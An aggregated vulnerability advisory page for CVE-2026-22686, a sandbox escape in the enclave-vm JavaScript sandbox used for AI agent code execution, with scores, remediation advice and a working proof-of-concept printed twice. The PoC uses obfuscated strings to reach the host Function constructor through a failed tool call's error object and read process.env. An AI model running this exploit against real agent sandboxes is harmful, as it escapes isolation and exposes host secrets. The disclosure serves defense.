CVE-2026-22686
Sandbox Escape via Host Error Prototype Chain in enclave-vm
CVE-2026-22686 is a critical vulnerability (CVSS 10.0) in Agentfront Enclave, published January 13, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.75%, the 55th percentile. Fixed in enclave-vm 2.7.0.
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
Sandbox Escape via Host Error Prototype Chain in enclave-vm
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.
- Record
CVE-2026-22686- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693, CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-2463
10.0
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.
- Record
EUVD-2026-2463- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7qm7-455j-5p63
10.0
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.
When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:
Error instance → Error.prototype → Error constructor → Function constructor
With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.
This breaks enclave-vm’s core security guarantee of isolating untrusted code.
Ecosystem Impact (FrontMCP / CodeCall)
FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.
Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.
Live Playground (Safe Exploration & Testing)
To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:
- EnclaveVM Playground: https://enclave.agentfront.dev
This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.
Timeline (Fast Fix)
- Fix released:
[email protected](Jan 9, 2026) - Advisory published: Jan 13, 2026
Proof of Concept
⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.
<details> <summary>Click to expand PoC</summary>
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.
const s = (...args) => String.fromCharCode(...args);
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype = s(112,114,111,116,111,116,121,112,101);
try {
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const ErrorCtor = errProto[kCon];
const HostFunc = ErrorCtor[kCon];
const exploitFn = HostFunc(kCode);
return exploitFn();
} catch (e) {
return e.message;
}
</details>
Mitigation / Remediation
Immediate action:
- Upgrade enclave-vm to 2.7.0+
Defense-in-depth guidance:
- Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
- Strip / freeze prototype chains of host objects
- Prevent access to host
Functionconstructors - Harden tool error handling to avoid leaking host-native objects
References
- GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
- npm package: https://www.npmjs.com/package/enclave-vm
- Enclave repo: https://github.com/agentfront/enclave
- FrontMCP docs:…
- Record
GHSA-7qm7-455j-5p63- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
10.0
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.
- Record
CVE-2026-22686- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94, CWE-693
- Updated
- 2026-11-02
OSV
10.0
Sandbox Escape via Host Error Prototype Chain in enclave-vm
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.
- Record
CVE-2026-22686- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693, CWE-94
- Updated
- 2026-11-02
OSVGHSA-7qm7-455j-5p63
10.0
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.
When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:
Error instance → Error.prototype → Error constructor → Function constructor
With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.
This breaks enclave-vm’s core security guarantee of isolating untrusted code.
Ecosystem Impact (FrontMCP / CodeCall)
FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.
Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.
Live Playground (Safe Exploration & Testing)
To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:
- EnclaveVM Playground: https://enclave.agentfront.dev
This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.
Timeline (Fast Fix)
- Fix released:
[email protected](Jan 9, 2026) - Advisory published: Jan 13, 2026
Proof of Concept
⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.
<details> <summary>Click to expand PoC</summary>
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.
const s = (...args) => String.fromCharCode(...args);
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype = s(112,114,111,116,111,116,121,112,101);
try {
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const ErrorCtor = errProto[kCon];
const HostFunc = ErrorCtor[kCon];
const exploitFn = HostFunc(kCode);
return exploitFn();
} catch (e) {
return e.message;
}
</details>
Mitigation / Remediation
Immediate action:
- Upgrade enclave-vm to 2.7.0+
Defense-in-depth guidance:
- Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
- Strip / freeze prototype chains of host objects
- Prevent access to host
Functionconstructors - Harden tool error handling to avoid leaking host-native objects
References
- GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
- npm package: https://www.npmjs.com/package/enclave-vm
- Enclave repo: https://github.com/agentfront/enclave
- FrontMCP docs:…
- Record
GHSA-7qm7-455j-5p63- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
enclave-vmnpm |
before 2.7.0 | 2.7.0 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | amusedx/CVE-2026-22686 | 2026-01-15 |
| PoC in GitHub | moi404/CVE-2026-22686-RemoteCodeExecution-RCE-PoC | 2026-09-16 |
| PoC in GitHub | moltengama/CVE-2026-22686-RemoteCodeExecution-RCE-PoC | 2026-03-05 |
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
References
github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
github.com/agentfront/enclave/commit/ed8bc438b2cd6e6f0b5f2de321e5be6f0169b5a1
nvd.nist.gov/vuln/detail/CVE-2026-22686
github.com/advisories/GHSA-7qm7-455j-5p63
github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22686.json
github.com/agentfront/enclave
Left out here: the rest of 2 source descriptions. The JSON record has them.